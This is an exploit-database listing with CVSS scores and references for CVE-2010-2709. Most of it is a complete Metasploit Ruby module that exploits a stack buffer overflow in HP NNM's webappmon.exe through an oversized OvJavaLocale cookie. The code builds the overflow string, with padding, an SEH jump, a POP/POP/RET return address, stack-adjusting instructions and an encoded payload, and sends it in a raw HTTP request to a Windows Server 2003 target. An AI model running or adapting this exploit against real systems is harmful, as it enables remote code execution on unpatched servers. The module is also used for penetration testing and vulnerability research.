HP NNM CGI webappmon.exe OvJavaLocale Buffer Overflow

2011.03.24
Credit: metasploit
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # $Id: hp_nnm_webappmon_ovjavalocale.rb 12087 2011-03-23 03:39:12Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "HP NNM CGI webappmon.exe OvJavaLocale Buffer Overflow", 'Description' => %q{ This module exploits a stack-based overflow in HP NNM's webappmon.exe. The vulnerability occurs when a long string of data is sent as OvJavaLocale's cookie value, OvWww.dll fails to properly do any bounds checking before this input is parsed in function OvWwwDebug(), which causes an overflow when sprintf_new() is called. '}, 'License' => MSF_LICENSE, 'Version' => "$Revision: 12087 $", 'Author' => [ 'Nahuel Riva', 'sinn3r' ], 'References' => [ ['CVE', '2010-2709'], ['OSVDB', '66932'], ['OSVDB', 'http://www.coresecurity.com/content/hp-nnm-ovjavalocale-buffer-overflow'], ], 'Payload' => { 'BadChars' => [*(0x00..0x09)].pack("C*") + [*(0x0a..0x0f)].pack("C*") + [*(0x10..0x1f)].pack("C*") + "\x7f", 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => { "BufferRegister"=>"ECX" } }, 'DefaultOptions' => { 'ExitFunction' => "seh", "AutoRunScript" => "migrate -f", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows Server 2003 Enterprise', {'Ret'=>0x5A30532D} ], ], 'Privileged' => false, 'DisclosureDate' => "Aug 3 2010")) register_options( [ Opt::RPORT(80), ], self.class) end def exploit nops = make_nops(1000)*10 sploit = nops[0, 7044] #Padding sploit << "\x74\x20\x42\x42" #JE jump 0x20 bytes sploit << [target.ret].pack('V') #POP/POP/RET sploit << nops[0, 26] #Padding sploit << "\x61"*13 #POPAD x 13 sploit << "\x51" #PUSH ECX sploit << "\xc3" #RETN sploit << nops[0, 31] #Padding sploit << payload.encoded #Payload sploit << nops[0, 10000-sploit.length] connect print_status("Sending malicious request...") send_request_raw({ "uri" => "/OvCgi/webappmon.exe", "data" => "ins=nowait&sel=A&appB=&actC=&arg=&help=&cache=1600", "version" => "1.1", "method" => "GET", "headers" => { "Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language" => "en-us,en;q=0.5", "Accept-Encoding" => "gzip,deflate", "Accept-Charset" => "ISO-8859-1,utf-8;q=0.7,*;q=0.7", "Keep-Alive" => "300", "Connection" => "keep-alive", "Cookie" => "OvJavaLocale=#{sploit}.Cp1252;OvWebSession=14150:AnyUser%3a", "Cache-Control" => "max-age=0" } }, 2) handler disconnect end end

References:

http://www.securityfocus.com/bid/42154
http://seclists.org/bugtraq/2010/Aug/21
http://seclists.org/bugtraq/2010/Aug/21
http://xforce.iss.net/xforce/xfdb/60880
http://www.exploit-db.com/exploits/14547
http://www.coresecurity.com/content/hp-nnm-ovjavalocale-buffer-overflow
http://securitytracker.com/id?1024274


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